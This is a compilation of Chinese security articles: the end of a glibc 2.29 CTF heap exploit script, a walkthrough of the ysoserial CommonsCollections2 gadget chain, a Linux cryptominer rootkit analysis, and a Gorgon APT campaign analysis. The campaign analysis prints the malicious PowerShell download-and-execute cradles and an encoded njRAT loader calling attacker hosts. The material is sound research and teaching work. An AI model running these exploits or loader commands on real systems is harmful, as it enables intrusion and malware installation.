p_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
rops = p64(p_rax)+p64(2)
rops += p64(syscall)
#rops += p64(libc.sym['open'])
#read
rops += p64(p_rdi)+p64(3)
rops += p64(p_rdx_rsi)+p64(0x20)+p64(arg_list[1])
rops += p64(p_rax)+p64(0)
rops += p64(syscall)
#rops += p64(libc.sym['read'])
#write
rops += p64(p_rdi)+p64(2)
rops += p64(p_rsi)+p64(arg_list[1])
rops += p64(p_rax)+p64(1)
rops += p64(syscall)
print len(rops)
part2 += rops+'\x00'*(0xba0-0xae0+8-0x10-len(rops))
part2 += p64(libc_base+(0x7ffff7f6bba8-static_libc))+'\x00'*(0xc08-0xbb0+8)+p64(0)*2+p64(libc_base+(0x7ffff7e20190-static_libc))+p64(0)*3
payload += part2
#start with main_arena
main_arena = p64(0)+p64(0)#have_fastchunks = 0
main_arena += p64(0)*10
#fake top chunk
main_arena += p64(fake_top_chunk)+p64(0)*3
payload += main_arena
#satrt:0x7ffff7f6bcc0 end:0x7ffff7f6c498
main_arena1 = ''
for i in range(0,(0x7ffff7f6c498-0x7ffff7f6bcc0+8)/8,2):
main_arena1 += p64(libc_base + (0x7ffff7f6bcc0-static_libc) - 0x10 + (i/2)*0x10)*2
payload += main_arena1
#begin with 0x7ffff7f6c4a0
part3 = flat([
0x4,
0x0,
libc_base+(0x7ffff7f6bc40-static_libc),
0,
1,
0x21000,
0x21000,
libc_base+(0x7ffff7e21a90-static_libc),
libc_base+(0x7ffff7e230b0-static_libc),
0x0,
libc_base+(0x7ffff7f37f3d-static_libc),
libc_base+(0x7ffff7f37f3d-static_libc),
libc_base+(0x7fffffffe878-static_libc),
libc_base+(0x7fffffffe876-static_libc),
0,
0,
0,
1,
2,
libc_base+(0x7ffff7f6f2d8-static_libc),
0,
0xffffffffffffffff,
libc_base+(0x7ffff7f6a6e0-static_libc),
libc_base+(0x7ffff7f3de48-static_libc),
libc_base+(0x7ffff7f68580-static_libc),
libc_base+(0x7ffff7f6c568-static_libc),
libc_base+(0x7ffff7f68b40-static_libc),
libc_base+(0x7ffff7f693c0-static_libc),
libc_base+(0x7ffff7f68900-static_libc),
libc_base+(0x7ffff7f68880-static_libc),
0,
libc_base+(0x7ffff7f69080-static_libc),
libc_base+(0x7ffff7f690e0-static_libc),
libc_base+(0x7ffff7f69160-static_libc),
libc_base+(0x7ffff7f69220-static_libc),
libc_base+(0x7ffff7f692a0-static_libc),
libc_base+(0x7ffff7f69300-static_libc),
libc_base+(0x7ffff7f213e0-static_libc),
libc_base+(0x7ffff7f204e0-static_libc),
libc_base+(0x7ffff7f20ae0-static_libc),
])
part3 += p64(libc_base+(0x7ffff7f38678-libc_base))*13+p64(0)*3+p64(libc_base+(0x7ffff7f6c680-static_libc))+p64(0)*3
payload += part3
#fake stderr
fake_stderr = p64(0xfbad2087)+p64(libc_base+(0x7ffff7f6c703-static_libc))*7+p64(libc_base+(0x7ffff7f6c704-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6c760-static_libc))+p64(2)+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6e570-static_libc))+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6b780-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6c748-static_libc))+p64(0)+p64(libc_base+(0x7ffff7f6d560-static_libc))
payload += fake_stderr
#fake stdout
fake_stdout = p64(0)+p64(libc_base+(0x7ffff7f6c7e3-static_libc))*7+p64(libc_base+(0x7ffff7f6c7e4-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6ba00-static_libc))+p64(1)+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6e580-static_libc))+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6b8c0-static_libc))+p64(0)*3+p64(0xffffffff)+p64(libc_base+(0x7ffff7f6c828-static_libc))+p64(0)+p64(IO_helper_jumps)
payload += fake_stdout
part4 = p64(libc_base+(0x7ffff7f6c680-static_libc))+p64(libc_base+(0x7ffff7f6c760-static_libc))+p64(libc_base+(0x7ffff7f6ba00-static_libc))
part4 += flat([
libc_base+(0x7ffff7dade90-static_libc),
libc_base+(0x7ffff7f1bdd0-static_libc),
libc_base+(0x7ffff7f1d000-static_libc),
libc_base+(0x7ffff7f1d030-static_libc),
libc_base+(0x7ffff7f1d090-static_libc),
libc_base+(0x7ffff7f1d2e0-static_libc),
libc_base+(0x7ffff7f1d4e0-static_libc),
libc_base+(0x7ffff7f1d5b0-static_libc),
libc_base+(0x7ffff7f1d5f0-static_libc),
libc_base+(0x7ffff7f1d650-static_libc),
libc_base+(0x7ffff7e2e390-static_libc),
libc_base+(0x7ffff7f1d770-static_libc),
libc_base+(0x7ffff7f1d7b0-static_libc),
libc_base+(0x7ffff7f1d810-static_libc),
libc_base+(0x7ffff7f1d880-static_libc),
libc_base+(0x7ffff7e9f2a0-static_libc),
libc_base+(0x7ffff7f1d890-static_libc),
libc_base+(0x7ffff7f1d940-static_libc),
libc_base+(0x7ffff7f1d980-static_libc),
libc_base+(0x7ffff7ec7150-static_libc),
libc_base+(0x7ffff7f1da40-static_libc),
libc_base+(0x7ffff7f6c900-static_libc),
libc_base+(0x7ffff7f1dbb0-static_libc),
libc_base+(0x7ffff7f1dc30-static_libc),
libc_base+(0x7ffff7ed8890-static_libc),
libc_base+(0x7ffff7f1dc50-static_libc),
libc_base+(0x7ffff7f1dc80-static_libc),
libc_base+(0x7ffff7f1dcb0-static_libc),
libc_base+(0x7ffff7f1dce0-static_libc),
libc_base+(0x7ffff7f1dd10-static_libc),
libc_base+(0x7ffff7f1ddd0-static_libc),
])
part4 += p64(0)*2
payload += part4
rop_addr = libc_base + (0x7ffff7f6baf0-static_libc)
fake_vatable = p64(0)*2 + flat([
libc_base+(0x7ffff7e18a70-static_libc),
libc_base+(0x7ffff7dfb530-static_libc),
libc_base+(0x7ffff7e18140-static_libc),
libc_base+(0x7ffff7e18150-static_libc),
libc_base+(0x7ffff7e197b0-static_libc),
libc_base+(0x7ffff7e181b0-static_libc),
libc_base+(0x7ffff7e183b0-static_libc),
libc_base+(0x7ffff7e18ae0-static_libc),
libc_base+(0x7ffff7e18800-static_libc),
libc_base+(0x7ffff7e186d0-static_libc),
libc_base+(0x7ffff7e18a60-static_libc),
arg_list[0],
0,
rop_addr-8,
libc_base+(0x7ffff7e198f0-static_libc),
0,
libc_base+(0x7ffff7e19900-static_libc),
])
part5 = p64(0)+p64(rop_addr)+p64(leave_ret)+'/flag'.ljust(0x20,'\x00')+p64(libc.sym['setcontext']+53)
payload += fake_vatable + part5
p.recvuntil("2 : ")
p.send(payload)
p.interactive()
exp()
## 总结
从这道题目上可以看到`glibc 2.29`虽然没有去掉`vtable
check`，但是`vtable`可写导致可以覆写上面的函数指针，这或许会成为一些题目的新的出题思路。 | 社区文章 |
# 简介
分析完了`CommonsCollections1`，就接着分析下`CommonsCollections2`。
测试环境：
* commons-collections-4.0
* java version "1.8.0_112"
分析目标命令：
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
下载Ysoserial源码：
git clone https://github.com/frohoff/ysoserial.git
IDEA打开`pom.xml`，导入为`maven`项目。
# 小知识
## javassist
`javassist`是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点，在于简单，而且快速。直接使用
java编码的形式，而不需要了解虚拟机指令，就能动态改变类的结构，或者动态生成类。
`Ysoserial`在生成Payload中也是使用的`javassist`类库。
几个重要的`Javassist`类对象：
* `ClassPool`：一个基于`Hashtable`实现的`CtClass`对象容器，其中键名是类名称，值是表示该类的`CtClass`对象。
* `CtClass`：`CtClass`表示类，一个`CtClass`(编译时类）对象可以处理一个`class`文件，这些`CtClass`对象可以从`ClassPool`获得。
* `CtMethods`：表示类中的方法。
* `CtFields`：表示类中的字段。
创建`ClassPool`对象
//ClassPool pool = new ClassPool(true);
ClassPool pool = ClassPool.getDefault();
使用的是默认系统的类搜索路径获取`ClassPool`对象
添加类搜索路径
pool.insertClassPath(new ClassClassPath(this.getClass()));
//pool.insertClassPath("/usr/local/javalib");
将类搜索路径插入到搜索路径，或者将目录作为类搜索路径
查找并获取`CtClass`对象
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
依据`key`从`Hash`表中查找对应的`CtClass`对象
`CtClass`可被修改
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
ctClass.setSuperclass(pool.get("XXXXXX"));
修改并设置父类
byte[] b = ctClass.toBytecode();
获取修改后的字节码
Class clazz = ctClass.toClass();
转换成`Class`对象
## 优先级队列 PriorityQueue
`PriorityQueue`一个基于优先级的无界优先级队列。
优先级队列的元素按照其自然顺序进行排序，放入`PriorityQueue`的元素，必须实现`Comparable`接口，`PriorityQueue`会根据元素的排序顺序决定出队的优先级；或者根据构造队列时提供的`Comparator`进行排序，元素就不必实现`Comparable`接口，具体取决于所使用的构造方法。
/**
* Creates a {@code PriorityQueue} with the specified initial capacity
* that orders its elements according to the specified comparator.
*
* @param initialCapacity the initial capacity for this priority queue
* @param comparator the comparator that will be used to order this
* priority queue. If {@code null}, the {@linkplain Comparable
* natural ordering} of the elements will be used.
* @throws IllegalArgumentException if {@code initialCapacity} is
* less than 1
*/
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
# 调试Ysoserial
根据目标命令确定入口文件为`GeneratePayload.class`
ysoserial.GeneratePayload#main
然后传入`CommonsCollections2`调用`Utils.getPayloadClass`
ysoserial.payloads.ObjectPayload.Utils#getPayloadClass
加载`ysoserial.payloads.CommonsCollections2`类并返回，调用`newInstance`实例化，然后对象调用`getObject`生成Payload。
ysoserial.payloads.CommonsCollections2#getObject
调用`Gadgets.createTemplatesImpl`并传入预想执行的命令。
ysoserial.payloads.util.Gadgets#createTemplatesImpl(java.lang.String)
继续调用构造函数`createTemplatesImpl`
class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
使用`Javassist`生成`Payload`，创建`ClassPool`对象并添加两个类搜索路径：
* `class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`
* `ysoserial.payloads.util.Gadgets`
ysoserial.payloads.util.Gadgets.StubTransletPayload
`StubTransletPayload`继承`AbstractTranslet`类。
回到`TemplatesImpl`，分析过程如下：
1. 无参数实例化`class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`类。
2. 利用`Javassist`获取`StubTransletPayload`类字节码。
3. 创建通过`java.lang.Runtime.getRuntime().exec()`执行命令的java代码的字符串。
4. 获取`StubTransletPayload`类构造函数的字节码，并新增恶意命令的字节码到构造函数字节码中。
5. 在利用`Javassist`设置`StubTransletPayload`父类为`class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`，但这一步其实已经重复（`StubTransletPayload`定义时已经继承），可能是为了代码优雅。
6. `toBytecode()`获取修改后的`StubTransletPayload`类字节码，通过反射放入`class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`类实例的`_bytecodes`成员中，并完善其他成员，然后返回到`getObject`。
ysoserial/payloads/CommonsCollections2.java:35
创建`InvokerTransformer`实例，并作为参数传入`TransformingComparator`类的构造函数。
org.apache.commons.collections4.comparators.TransformingComparator#TransformingComparator(org.apache.commons.collections4.Transformer<?
super I,? extends O>)
org.apache.commons.collections4.comparators.TransformingComparator#TransformingComparator(org.apache.commons.collections4.Transformer<?
super I,? extends O>, java.util.Comparator<o>)</o>
`TransformingComparator`类实例中的`transformer`成员存储`InvokerTransformer`实例，`TransformingComparator`类实例又作为参数传入`PriorityQueue`。
java.util.PriorityQueue#PriorityQueue(int, java.util.Comparator<? super E>)
`TransformingComparator`类实例存储在`PriorityQueue`的`comparator`成员中
ysoserial/payloads/CommonsCollections2.java:44
通过反射修改`InvokerTransformer`实例中的`iMethodName`成员为`newTransformer`
ysoserial/payloads/CommonsCollections2.java:47
通过反射获取`PriorityQueue`实例的`queue`数组成员，并将`TemplatesImpl`类实例放入成员数组，最后返回`PriorityQueue`对象，序列化后输出作为payload。
java.util.PriorityQueue#siftDown
# Gadget chain
maven依赖：
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
测试代码：
package test;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Queue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class commonscollections2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fis = null;
//fis = new FileInputStream("src/test/java/test/test.ser");
fis = new FileInputStream("/Users/rai4over/Desktop/ysoserial/test.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
}
作者给出的：
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
java.util.PriorityQueue#readObject
`PriorityQueue`重写了`readObject`，首先通过`defaultReadObject`执行默认的反序列化操作
java.util.PriorityQueue#queue
`queue`成员本来被`transient`修饰，不能默认反序列化，但自定义通过循环设置成员数组`queue`，此时两个关键成员：
java.util.PriorityQueue#heapify
进入`heapify`进行排序，循环遍历成员数组`queue`，`TemplatesImpl`实例作为参数传入`siftDown`
java.util.PriorityQueue#siftDownUsingComparator
org.apache.commons.collections4.comparators.TransformingComparator#compare
org.apache.commons.collections4.functors.InvokerTransformer#transform
通过反射调用`TemplatesImpl`类中的`newTransformer`方法
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
在循环中通过`loader.defineClass`加载恶意字节码到`_class`成员，回到上层函数，`_class[_transletIndex].newInstance()`进行实例化，完成命令执行，函数调用栈：
exec:347, Runtime (java.lang)
<clinit>:-1, Pwner71837519276875 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:14, commonscollections2 (test)
# 参考
<https://www.jianshu.com/p/43424242846b>
<https://www.cnblogs.com/chiangchou/p/javassist.html#_label1>
<https://www.jianshu.com/p/c577796e537a>
<https://y4er.com/post/ysoserial-commonscollections-2/>
<https://xz.aliyun.com/t/1756>
<https://www.liaoxuefeng.com/wiki/1252599548343744/1265120632401152> | 社区文章 |
研究人员最近发现一个影响Linux系统的加密货币挖矿恶意软件。该恶意软件融合了rootkit组件来隐藏恶意进程以对抗反病毒软件的检测。受感染的系统只表现出性能问题，恶意软件还可以更新和升级自己和配置文件。
Unix和类unix操作系统的权限模型使恶意软件很难以特权运行。研究人员发现的加密货币挖矿恶意软件的感染向量是一个恶意的、第三方或被黑的插件。安装后会授予恶意软件admin权限，这样恶意软件就可以以授予应用的权限运行。其他Linux加密货币挖矿恶意软件工具也使用类似的向量作为攻击入口。
图1: 加密货币挖矿恶意软件感染链
# 技术分析
初始的文件会连接Pastebin，并下载一个文件。下载的文件是一个shell脚步，会保存为`/bin/httpdns`。然后会创建一个定时任务每小时运行一次`/bin/httpdns`
。最后执行shell脚步。`/bin/httpdns`含有一个可以连接和下载另一个base64编码的文本文件的脚本。解码的新文件也是一个由`/bin/httpdns`执行的shell脚本。
图2: shell脚本下载和保存过程
脚步执行后，首先会检查恶意软件是否有更新。链接中含有字符串`noupdate`，表明当前没有恶意软件更新。如果有更新，shell脚步就会调用`echocron`函数，该函数负责下载和创建计划任务来执行恶意软件更新。
图3: shell脚本调用echocron的代码段
如果当前没有可用更新，shell脚本就会继续运行调用负责下载真实恶意加密货币挖矿机的`downloadrun`函数，如图4所示。虽然URL的扩展是`.jpg`文件，但真实的文件是一个`ELF`的可执行文件，会保存为`/tmp/kworkerds`。
在下载和执行加密货币挖矿恶意软件后，shell脚步就会调用`init`函数，下载初始化文件。下载的文件会保存为`/usr/sbin/netdns`，然后以服务的形式安装，最后调用`echocron`函数。
图4: 恶意软件downloadrun(上)init（中）downloadrunxm（下）函数代码段
然后shell脚本会休眠`10`秒，然后检查是否在`56415`端口建立了连接。如果没有建立连接，就执行`downloadrunxm`函数。该函数是在`downloadrun`函数不能正常工作的情况下，下载另一个加密货币挖矿机（Coinminer.Linux.KORKERDS.AA）。
图5: 恶意软件top函数
# 安装rootkit组件
恶意软件的更新版本有一个`top`函数，负责下载和安装rootkit。首先检查受感染的机器上是否安装了rootkit。如果没有安装，就下载和安装rootkit，然后保存为`/usr/local/lib/libdns.so`。
进程监视工具可以检测到加密货币挖矿机的存在。图6是`htop`检测到受感染的机器上`/tmp/kworkerds`的情况。图6中，rootkit组件隐藏了可能造成资源消耗比较多的进程。
图6: htop工具检测挖矿机进程 /tmp/kworkerds（上）；rootkit安装后进程变得不可见（下）
加密货币挖矿机恶意软件的rootkit组件是公开代码的修改版。安装后，所有名为kworkerds的进程都会对进程监控工具不可见。因为进程监控工具是通过访问位于`/proc/{PID}`目录的文件来工作的。拦截对进程`/proc/{PID}`目录的访问后，就不能通过常用的方法进行检测了。
Rootkit会hook `libc`库的`readdir`和`readdir64`应用程序接口。进程监控工具常用这些API来获取信息。
通过预加载内存中的文件，rootkit可以用rootkit的`readdir`文件替换正常的`readdir`文件来覆盖正常的库文件（图7）。一旦API被hook，进程监控工具就不能看到名为`kworkerds`的进程了。
图7: rootkit隐藏加密货币挖矿机进程的代码段
# 安全最佳实践
如果rootkit没有成功隐藏高CPU利用率和加密货币挖矿机创建的连接，可以通过编辑一些代码和重塑现有代码或工具来改善其隐藏性。恶意软件有了更新的能力后，运营者就可以增加更多的函数来使恶意软件获取更多盈利。加密货币挖矿恶意软件会给Linux系统带来明显的性能问题，因为是对运营商业服务的服务器、工作站、应用开发框架、数据库和手机设备。IT和系统管理员可以应用以下安全实践来应对安全问题：
* 关闭、移除、尽量少使用未经过验证的库或仓储，强制实现最小权限原则。
* 使用验证后的安全扩展来加固系统。
* 通过对文件、系统和网络资源实施访问控制策略减少系统攻击面，并且监控系统和网络的异常活动。
* 定期对系统打补丁，防止漏洞被利用；使用更新的服务端应用来减少被入侵的风险；使用IDPS系统这样的安全机制。
<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/cryptocurrency-mining-malware-targets-linux-systems-uses-rootkit-for-stealth> | 社区文章 |
# 记一次GorgonAPT组织的完整攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前在日常样本运营中，发现了一个以巴西乐队命名的攻击文档和钓鱼邮件，并在随后的关联分析中发现，此次攻击活动疑似来自一个名为Gorgon的攻击组织，而Gorgon是一个被认为来自南亚某国家的攻击组织，PAN公司的Unit42团队将该攻击活动命名为Aggah。
捕获的初始样本名为DADOS BANDA BELEZAPURA.doc，DADOS BANDA BELEZAPURA是巴西当地的一个知名乐队。
通过关联分析，捕获到一例名为CNPJ E DADOS DO CARTÃO PARA CONFIRMAÇÃO DE
RESERVA.docx的相关文档，中文翻译为：CNPJ预订确认卡数据.docx，而CNPJ是巴西公司在巴西法定的唯一身份识别，CNPJ对于巴西商铺的意义类似于身份证对于我国公民的意义，CNPJ是确认巴西商铺的唯一标识。
结合钓鱼邮件内容，样本命名以等关联信息，基本可以断定本次攻击是一起Gorgon针对巴西公寓、商户的攻击事件。
## 针对巴西公寓的攻击分析
### 概述
本次投递的Downloader是一个doc文档，样本打包时间为2020年1月3日，上传vt的时间为2020年1月7日。样本作者信息为：mateus eaea
钓鱼邮件如下：
本次攻击主要是利用原始的docx文档模板注入rtf文件，注入的rtf会通过宏代码解密执行powershell，powershell下载执行vbs脚本，最后通过vbs脚本解密执行powershell释放njrat远控木马。具体流程如下：
### 基本信息
原始样本为模板注入的doc文档，注入地址为：http[:]//bit[.]ly/2Fivk8q
文档内容如下：
注入的文档md5为：7fe85327f57691535762dae17c50457e
### 注入文档分析
注入的文档为宏代码攻击的rtf文件，文件打开会启用excel并不断弹框提示用于启用宏，如果用户点击禁用，则会弹出下一个excel宏提示，一共八次，该技术和之前Gorgon使用的注入技术保持一致。
恶意宏代码执行后，会解密执行如下的powershell代码：
`"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe"
$T='*EX'.replace('*','I');sal M $T;'(&(GCM'+'
*W-O*)'+'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Stri'+'ng(''http://empresariadohoteleiro.com/janeiro2020/Attack.jpg'')'|M|M`
该powershell代码用于从hxxp[:]//empresariadohoteleiro[.]com/janeiro2020/Attack[.]jpg
下载后续payload到本地执行
### Attack.jpg
下载回来样本后缀为jpg，但实际上是一个powershell脚本，由于上面的powershell代码最后执行了IEX，所以这里后缀不会影响脚本的执行。
通过代码可以得知，该段powershell代码通过IEX执行之后
会尝试下载http[:]//empresariadohoteleiro[.]com/janeiro2020/srvjaneiro03[.]jpg到本地保为%APPDATA%dimasjaneiro.vbs
下载成功则会通过start-process执行下载的vbs
下载的vbs样本MD5为：2c610594e3230b15af32874b1676861a
### srvjaneiro03.jpg
下载到本地的srvjaneiro03.jpg实际上为一个vbs脚本，脚本最开始会给<f>变量赋值，然后通过替换去除混淆内容，再通过Fly函数调用powershell执行
最终会解密执行如下的powershell代码：
`Powershell
$OSAFIUASOFIHKLJHFSGPSATYPEWFASHGLSDJFG=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,112,50,50,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,112,50,50,59,91,118,111,105,100,93,32,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,102,106,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,36,95,36,108,111,97,100,83,116,114,105,36,95,36,103,39,46,114,101,112,108,97,99,101,40,39,36,95,36,39,44,39,110,39,41,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,101,109,112,114,101,115,97,114,105,97,100,111,104,111,116,101,108,101,105,114,111,46,99,111,109,47,106,97,110,101,105,114,111,50,48,50,48,47,114,110,112,106,97,110,101,105,114,111,48,51,46,106,112,103,39,41,124,73,69,88,59,91,66,121,116,101,91,93,93,36,116,111,116,111,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,36,95,36,108,111,97,100,83,116,114,105,36,95,36,103,39,46,114,101,112,108,97,99,101,40,39,36,95,36,39,44,39,110,39,41,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,101,109,112,114,101,115,97,114,105,97,100,111,104,111,116,101,108,101,105,114,111,46,99,111,109,47,106,97,110,101,105,114,111,50,48,50,48,47,110,106,97,114,114,111,98,97,106,110,114,48,51,46,106,112,103,39,41,46,114,101,112,108,97,99,101,40,39,64,95,48,39,44,39,48,120,39,41,124,73,69,88,59,36,111,98,106,32,61,64,40,39,82,101,103,83,118,99,115,46,101,120,101,39,44,36,116,111,116,111,41,59,36,103,50,50,61,36,97,46,71,101,116,84,121,112,101,40,39,71,105,118,97,114,97,39,41,59,36,121,61,36,103,50,50,46,71,101,116,77,101,116,104,111,100,40,39,70,114,101,101,68,111,109,39,41,59,36,106,61,91,65,99,116,105,118,97,116,111,114,93,58,58,67,114,101,97,116,101,73,110,115,116,97,110,99,101,40,36,103,50,50,44,36,110,117,108,108,41,59,36,121,46,73,110,118,111,107,101,40,36,106,44,36,111,98,106,41);[char[]]$OSAFIUASOFIHKLJHFSGPSATYPEWFASHGLSDJFG
-join ''|I`E`X`
格式化该代码得到：
`do {$ping = test-connection -comp google.com -count 1 -Quiet}
until ($ping);
$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $p22;
[void]
[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');
$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object
Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'http://empresariadohoteleiro.com/janeiro2020/rnpjaneiro03.jpg')|IEX;
[Byte[]]$toto=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object
Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'http://empresariadohoteleiro.com/janeiro2020/njarrobajnr03.jpg').replace('[@_0](https://github.com/_0
"@_0")','0x')|IEX;
$obj =@('RegSvcs.exe',$toto);
$g22=$a.GetType('Givara');$y=$g22.GetMethod('FreeDom');
$j=[Activator]::CreateInstance($g22,$null);$y.Invoke($j,$obj)`
由代码可以得知，此段代码执行之后将会：
下载http[:]//empresariadohoteleiro[.]com/janeiro2020/rnpjaneiro03[.]jpg到本地执行
下载http[:]//empresariadohoteleiro[.]com/janeiro2020/njarrobajnr03[.]jpg到本地替换数据后执行。
此外，该vbs脚本还会将自己移动到%APPDATA%目录下并设置一个任务计划，任务计划用于每分钟执行一次该vbs脚本：
### rnpjaneiro03.jpg
下载回来的rnpjaneiro03为一个powershell脚本，MD5为：eba6b7e9bab2b63b63cb6080ee83236f
脚本通过sal将IEX重命名为g，将$Cli作为参数传递到解密函数中解密获取数据流并通过g(IEX)调用执行
将解密得到的数据流写入到3.txt
这里的字节流以十进制显示，文件头内容为77 90 144 ，转换为16进制刚好是4D 5A 90 所以这里应该也是一个PE文件。
将数据转换为十六进制并转存到winhex中：
### njarrobajnr03
njarrobajnr03是一个纯数据文件：
由于powershell下载该payload的时候有如下语句：
所以powershell下载该样本之后，会将这里的[@_0](https://github.com/_0 "@_0")替换为0x再执行IEX
格式化写入到winhex中会得到一个PE文件：
得到的PE为C#编写的样本，MD5为：87dc93b61a224d1ec45be29998013ae9
### 后续PE分析
原始的C#样本编译名称为stub.exe,带有一定混淆
样本去混淆后，经过分析可以得知，该PE文件是njrat家族的远控马
木马的互斥体名称为：<Edo_Tensei-eS6ZxVfJXBgJ>
## 针对巴西商户的攻击分析
### 概述
本次投递的Downloader是一个docx文档，样本打包时间为2020年1月6日，上传vt的时间为2020年月7日。
样本作者信息和上面样本作者信息保持一致，均为mateus eaea
本次攻击主要是利用原始的docx文档模板注入rtf文件，注入的rtf会通过宏代码解密执行powershell，powershell下载执行vbs脚本，最后通过vbs脚本解密执行powershell释放njrat远控木马。具体流程如下：
### 基本信息
原始样本为模板注入的docx文档，注入地址为：http[:]//bit[.]ly/2T2ofAC
注入的文档md5为：6eac6bd76c4ce578acc6ed418af54b8b
